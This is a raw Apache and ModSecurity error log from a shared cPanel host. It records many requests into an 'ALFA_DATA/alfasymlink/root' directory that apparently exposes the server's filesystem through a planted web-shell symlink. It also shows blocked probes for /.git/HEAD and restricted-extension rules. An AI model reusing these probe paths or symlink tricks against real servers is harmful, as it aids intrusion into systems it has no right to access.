[Mon Oct 26 07:20:02.385208 2026] [security2:error] [pid 3008498:tid 3008498] [client 3.221.50.71:47449] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory20/node0/memory17/valid_zones"] [unique_id "at83YnWyvchEwsg-8-hoQAAAAAs"]
[Mon Oct 26 07:20:02.385231 2026] [security2:error] [pid 3008498:tid 3008498] [client 3.221.50.71:47449] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory20/node0/memory17/valid_zones"] [unique_id "at83YnWyvchEwsg-8-hoQAAAAAs"]
[Mon Oct 26 07:20:14.396297 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 98.82.38.120:60389] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:20:18.513772 2026] [ssl:error] [pid 3019675:tid 3019675] (70014)End of file found: [client 54.89.90.224:32397] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:20:26.402144 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 54.163.136.244:4735] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:20:34.721258 2026] [core:error] [pid 3019675:tid 3019675] (13)Permission denied: [client 52.45.15.233:49056] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/input/mice/subsystem/input0/subsystem/event4/device/device/driver/uevent
[Mon Oct 26 07:20:46.407467 2026] [core:error] [pid 3019696:tid 3019696] (13)Permission denied: [client 44.221.180.179:10490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:03/physical_node/firmware_node/physical_node/remove
[Mon Oct 26 07:20:51.004762 2026] [core:error] [pid 3010072:tid 3010072] (13)Permission denied: [client 54.157.84.74:14573] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/exar_serial/new_id
[Mon Oct 26 07:21:10.596915 2026] [ssl:error] [pid 3019681:tid 3019681] (70014)End of file found: [client 44.216.172.204:35406] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:21:14.593208 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 98.83.72.38:36261] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:21:18.647991 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 3.90.73.206:25044] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:21:22.772422 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 100.28.204.82:17741] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:21:26.559112 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 184.73.167.217:51234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:21:30.468202 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 18.235.158.19:53815] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:21:39.568615 2026] [core:error] [pid 3019673:tid 3019673] (13)Permission denied: [client 85.208.96.205:64144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/spool/exim/db/ratelimit.lockfile
[Mon Oct 26 07:21:42.497027 2026] [authz_core:error] [pid 3019674:tid 3019674] [client 18.235.81.246:31584] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Mon Oct 26 07:21:58.534744 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 184.73.195.18:23126] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:22:06.580574 2026] [core:error] [pid 3019693:tid 3019693] (13)Permission denied: [client 34.225.24.180:63847] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/device:01/PNP0700:00/physical_node/firmware_node/subsystem/drivers/button/unbind
[Mon Oct 26 07:22:09.817740 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 185.191.171.15:48960] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:22:14.862880 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 18.213.70.100:10666] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:22:18.726678 2026] [core:error] [pid 3019694:tid 3019694] (13)Permission denied: [client 34.231.118.144:26232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:01/PNP0B00:00/subsystem/devices/device:1e/subsystem/drivers/battery/bind
[Mon Oct 26 07:22:22.607335 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 3.93.98.99:16017] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:22:26.559927 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 52.45.15.233:41602] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:22:30.652188 2026] [ssl:error] [pid 3019675:tid 3019675] (70014)End of file found: [client 18.210.58.238:3119] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:22:37.616191 2026] [security2:error] [pid 3010062:tid 3010062] [client 107.172.76.131:53270] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at838ejICF14JuwJz6aCCAAAAA8"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 07:22:37.616258 2026] [security2:error] [pid 3010062:tid 3010062] [client 107.172.76.131:53270] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at838ejICF14JuwJz6aCCAAAAA8"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 07:22:39.402203 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 100.29.155.89:18610] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:22:46.618876 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 3.89.176.255:45441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:22:49.853900 2026] [security2:error] [pid 3010063:tid 3010063] [client 193.32.162.73:42138] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at84CVQCSjBN4LPVCMiT-QAAABA"]
[Mon Oct 26 07:22:49.854149 2026] [security2:error] [pid 3010063:tid 3010063] [client 193.32.162.73:42138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at84CVQCSjBN4LPVCMiT-QAAABA"]
[Mon Oct 26 07:22:49.854469 2026] [security2:error] [pid 3010063:tid 3010063] [client 193.32.162.73:42138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at84CVQCSjBN4LPVCMiT-QAAABA"]
[Mon Oct 26 07:22:49.862905 2026] [security2:error] [pid 3019674:tid 3019674] [client 193.32.162.73:42124] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at84CU5VL05DK7ky7IO-ZQAAAA4"]
[Mon Oct 26 07:22:49.863106 2026] [security2:error] [pid 3019674:tid 3019674] [client 193.32.162.73:42124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at84CU5VL05DK7ky7IO-ZQAAAA4"]
[Mon Oct 26 07:22:49.863380 2026] [security2:error] [pid 3019674:tid 3019674] [client 193.32.162.73:42124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at84CU5VL05DK7ky7IO-ZQAAAA4"]
[Mon Oct 26 07:22:58.704395 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 44.194.139.149:53022] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:23:02.644536 2026] [ssl:error] [pid 3019696:tid 3019696] (70014)End of file found: [client 3.210.223.61:5199] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:23:06.708223 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 3.215.221.125:4361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:23:10.815151 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 44.223.193.255:38654] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/fs/cgroup/devices/system.slice/ea-php81-php-fpm.service/devices.allow
[Mon Oct 26 07:23:18.805254 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 23.23.104.107:9552] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:23:22.729929 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 52.0.218.219:25578] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:23:28.959173 2026] [core:error] [pid 3019667:tid 3019667] (13)Permission denied: [client 185.191.171.19:61380] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/object_size
[Mon Oct 26 07:23:34.860104 2026] [security2:error] [pid 3019673:tid 3019673] [client 184.73.167.217:23069] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/"] [unique_id "at84Nn3wwcXP35BsOaDuvAAAAAw"]
[Mon Oct 26 07:23:34.860139 2026] [security2:error] [pid 3019673:tid 3019673] [client 184.73.167.217:23069] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/"] [unique_id "at84Nn3wwcXP35BsOaDuvAAAAAw"]
[Mon Oct 26 07:23:46.779372 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 54.84.161.62:18405] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:23:50.711061 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 54.147.238.89:5971] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:23:58.726410 2026] [ssl:error] [pid 3017653:tid 3017653] (70014)End of file found: [client 3.227.180.70:24284] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:24:02.747415 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 18.214.238.178:64061] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:24:03.062333 2026] [core:error] [pid 3019675:tid 3019675] (13)Permission denied: [client 85.208.96.195:53930] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-64/destroy_by_rcu
[Mon Oct 26 07:24:06.966511 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 34.234.200.207:32166] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:24:09.795492 2026] [security2:error] [pid 3011079:tid 3011079] [client 185.191.171.8:51112] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/de/index.db"] [unique_id "at84Wcgik5L9rcLL2-vAswAAAAA"]
[Mon Oct 26 07:24:09.795876 2026] [security2:error] [pid 3011079:tid 3011079] [client 185.191.171.8:51112] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/de/index.db"] [unique_id "at84Wcgik5L9rcLL2-vAswAAAAA"]
[Mon Oct 26 07:24:09.796258 2026] [security2:error] [pid 3011079:tid 3011079] [client 185.191.171.8:51112] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/de/index.db"] [unique_id "at84Wcgik5L9rcLL2-vAswAAAAA"]
[Mon Oct 26 07:24:15.020303 2026] [core:error] [pid 3017653:tid 3017653] (13)Permission denied: [client 52.45.77.169:35772] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/event1/subsystem/input1/device/firmware_node/physical_node1/driver/serio0/driver/uevent
[Mon Oct 26 07:24:18.769202 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 18.207.79.144:7139] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:24:22.741309 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 34.194.165.45:3604] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:24:26.746764 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 52.202.233.37:61057] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:24:34.824101 2026] [ssl:error] [pid 3017653:tid 3017653] (70014)End of file found: [client 3.221.156.96:27746] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:24:43.055359 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 34.196.114.170:54207] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:24:46.977418 2026] [ssl:error] [pid 3019693:tid 3019693] (70014)End of file found: [client 18.214.251.19:34507] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:24:51.050124 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 100.29.128.75:6391] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:25:03.207047 2026] [ssl:error] [pid 3019675:tid 3019675] (70014)End of file found: [client 185.191.171.3:22724] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:25:06.851974 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 52.2.58.41:49232] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:25:11.149843 2026] [ssl:error] [pid 3019694:tid 3019694] (70014)End of file found: [client 35.174.253.85:52731] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:25:15.271174 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 44.210.213.220:34934] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:25:23.112700 2026] [ssl:error] [pid 3019675:tid 3019675] (70014)End of file found: [client 34.192.125.239:35602] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:25:25.027679 2026] [authz_core:error] [pid 3010063:tid 3010063] [client 32.191.147.167:52904] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 07:25:31.587021 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 54.167.32.123:35584] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:25:36.169694 2026] [core:error] [pid 3019671:tid 3019671] (13)Permission denied: [client 85.208.96.194:61310] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_ctx/slab_size
[Mon Oct 26 07:25:39.142161 2026] [core:crit] [pid 3019675:tid 3019675] (13)Permission denied: [client 16.216.88.143:26624] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/lost+found/' is executable
[Mon Oct 26 07:25:39.182614 2026] [core:crit] [pid 3019675:tid 3019675] (13)Permission denied: [client 16.216.88.143:26624] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Mon Oct 26 07:25:55.221064 2026] [ssl:error] [pid 3019674:tid 3019674] (70014)End of file found: [client 44.217.177.142:19034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:26:03.121775 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 3.90.73.206:59800] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:26:11.293561 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 3.225.9.97:30483] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:26:11.427891 2026] [core:error] [pid 3015803:tid 3015803] (13)Permission denied: [client 185.191.171.10:42814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/objects
[Mon Oct 26 07:26:15.133658 2026] [core:error] [pid 3019674:tid 3019674] (13)Permission denied: [client 18.214.138.148:62797] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/driver/unbind
[Mon Oct 26 07:26:35.081465 2026] [core:error] [pid 3019671:tid 3019671] (13)Permission denied: [client 54.225.81.20:16919] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/rescan
[Mon Oct 26 07:26:39.175982 2026] [core:error] [pid 3015803:tid 3015803] (13)Permission denied: [client 85.208.96.203:48916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/poison
[Mon Oct 26 07:26:39.358612 2026] [ssl:error] [pid 3019673:tid 3019673] (70014)End of file found: [client 18.213.240.226:21490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:26:43.149572 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 3.220.148.166:2723] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:26:51.113922 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 54.147.238.89:48980] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:26:55.182704 2026] [ssl:error] [pid 3015803:tid 3015803] (5)Input/output error: [client 23.23.99.55:34687] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:27:15.319302 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 3.213.46.222:43548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/subsystem/devices/ACPI0010:00/LNXCPU:01/eject
[Mon Oct 26 07:27:27.611607 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 54.210.152.179:3626] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:27:28.533438 2026] [core:crit] [pid 3015725:tid 3015725] (13)Permission denied: [client 43.130.139.177:43040] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 07:27:32.143701 2026] [security2:error] [pid 3017653:tid 3017653] [client 85.208.96.209:11676] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/restorecon"] [unique_id "at85JHFRwTfT0KsFZ4erigAAAA0"]
[Mon Oct 26 07:27:32.143744 2026] [security2:error] [pid 3017653:tid 3017653] [client 85.208.96.209:11676] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sbin/restorecon"] [unique_id "at85JHFRwTfT0KsFZ4erigAAAA0"]
[Mon Oct 26 07:27:40.337099 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 34.193.2.57:44460] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:27:43.460979 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 34.192.125.239:26556] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:27:47.333146 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 34.193.2.57:29340] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:27:55.445348 2026] [ssl:error] [pid 3011079:tid 3011079] (70014)End of file found: [client 18.213.240.226:36196] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:27:59.473318 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 18.208.11.93:4227] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:28:07.713990 2026] [ssl:error] [pid 3019671:tid 3019671] (70014)End of file found: [client 54.197.102.71:38902] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:28:15.794048 2026] [ssl:error] [pid 3017653:tid 3017653] (70014)End of file found: [client 23.23.213.182:52119] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:28:19.637597 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 54.84.169.196:41120] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:28:23.368957 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 44.205.74.196:35885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:28:31.486998 2026] [ssl:error] [pid 3017653:tid 3017653] (70014)End of file found: [client 44.193.115.232:19832] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:28:39.437211 2026] [ssl:error] [pid 3019674:tid 3019674] (5)Input/output error: [client 3.94.40.182:65513] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:28:47.460660 2026] [ssl:error] [pid 3019673:tid 3019673] (70014)End of file found: [client 44.205.120.22:17516] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:28:55.567665 2026] [ssl:error] [pid 3017653:tid 3017653] (70014)End of file found: [client 52.200.58.199:28436] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:29:05.627000 2026] [authz_core:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 07:29:07.057188 2026] [authz_core:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37500] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 07:29:07.069102 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at85gwbLerFfv4dhcWT06QAAAAY"]
